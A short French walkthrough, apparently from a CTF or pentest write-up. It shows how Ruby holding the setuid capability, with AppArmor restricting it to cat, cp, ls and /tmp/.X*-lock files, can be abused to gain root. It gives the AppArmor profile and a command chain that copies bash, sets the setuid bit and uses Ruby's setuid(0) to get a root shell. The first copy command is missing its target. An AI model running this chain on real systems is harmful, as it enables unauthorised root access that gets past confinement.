On se rend compte avec linPEAS que Ruby a les capabilities setuid
On peut facilement obtenir le compte de l’administrateur.
Si Ruby a été protégé avec apparmor pour ne pouvoir exécuter que quelques utilitaires et avoir accès qu’à certains fichiers
#include <tunables/global>
/usr/bin/ruby2.5 {
#include <abstractions/base>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/etc/passwd r,
/bin/cat mrix,
/bin/cp mrix,
/bin/ls mrix,
/usr/bin/whoami mrix,
/tmp/.X[0-9]*-lock rw,
/lib/x86_64-linux-gnu/ld-*.so mr,
/usr/bin/ruby2.5 mr,
/usr/share/rubygems-integration/all/specifications/ r,
/usr/share/rubygems-integration/all/specifications/did_you_mean-1.2.0.gemspec r,
/{usr/,}lib{,32,64}/** mr,
}
Nous avons accès aux commandes cat, cp et ls comme administrateur et au fichier /tmp/.X1-lock, /tmp/.X2-lock, etc…
cp /bin/bash
cd /tmp
chmod +s /tmp/.X1-lock
ruby -e 'Process::Sys.setuid(0); exec "cp --preserve=mode /tmp/.X1-lock /tmp/.X2-lock"'
./.X2-lock -p